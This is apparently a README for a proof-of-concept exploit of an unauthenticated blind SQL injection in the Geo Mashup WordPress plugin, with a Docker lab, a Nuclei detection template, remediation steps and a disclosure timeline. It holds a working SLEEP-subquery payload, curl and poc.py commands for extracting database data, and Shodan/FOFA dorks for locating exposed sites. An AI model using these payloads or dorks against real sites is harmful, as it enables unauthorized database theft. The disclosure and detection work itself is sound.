
Proof-of-concept for CVE-2026-4060: unauthenticated time-based blind SQL injection in Geo Mashup WordPress plugin via ORDER BY clause. Includes exploit script, lab environment, and Nuclei detection template.
Unauthenticated attackers can inject arbitrary SQL into the
ORDER BYclause via thesortparameter of the Geo Mashuprender-mapendpoint, enabling time-based blind extraction of sensitive database information.
The sort parameter accepted by the render-map endpoint is passed directly into a $wpdb->get_results() call without sanitization:
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Because $sort is interpolated as-is, an attacker can inject a subquery into the ORDER BY clause. WordPress's wpdb escapes single quotes, so the PoC uses ORD(SUBSTRING(...)) with numeric comparisons to bypass this restriction and perform time-based blind extraction.
Vulnerable endpoint:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 active in WordPress admin:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh will:
Once complete:
http://localhost:8080http://localhost:8080/wp-admin (user: admin / pass: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
A response delay of ~8 seconds confirms ORDER BY SQL injection.
# Default — print extracted results only
python3 poc.py --url http://localhost:8080
# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose
# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
Injecting a SLEEP(8) subquery via the sort parameter produces an ~8-second response delay.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

The PoC extracts data character by character using ORD(SUBSTRING(...)) comparisons: send payload → measure response time → confirm character when SLEEP fires.
python3 poc.py --url http://localhost:8080 --verbose

Extracted data:
| Query | Result |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
The Nuclei template uses a two-step flow to prevent false positives.
If readme.txt returns 404 in Step 1, the scan exits immediately without sending the SQL payload.
Scan completed in 62ms. 0 matches found. ✅
Plugin version check via readme.txt:

If compare_versions(version, '<= 1.13.18') fails, Step 2 is skipped entirely.
Scan completed in 19ms. 0 matches found. ✅
| Action | Detail |
|---|---|
| Update | Upgrade Geo Mashup to 1.13.19 or later |
| Temporary | Deactivate the plugin until an update is applied |
Patch commit: plugins.trac.wordpress.org/changeset/3503627
Nuclei template: nuclei/CVE-2026-4060.yaml
Detection flow:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Date | Event |
|---|---|
| 2026-04 | Vulnerability discovered |
| 2026-04 | Reported to plugin author |
| 2026-05 | Geo Mashup 1.13.19 patch released |
| 2026-05-14 | CVE assigned and publicly disclosed |
This repository is for educational and authorized security testing purposes only.
Do not use against systems you do not own or have explicit written permission to test.
The author is not responsible for any misuse of this material.
| Field | Detail |
|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup by cyberhobo |
| Affected | ≤ 1.13.18 |
| Fixed in | 1.13.19 |
| CVSS v3.1 | 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Improper Neutralization of Special Elements in SQL |
| Auth required | None (Unauthenticated) |
| Component | Version |
|---|
| OS | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (vulnerable) |
| Python | 3.x (for poc.py) |
| Nuclei | v3.8.0 |
| WAF |
Block subquery injection patterns in ORDER BY clauses |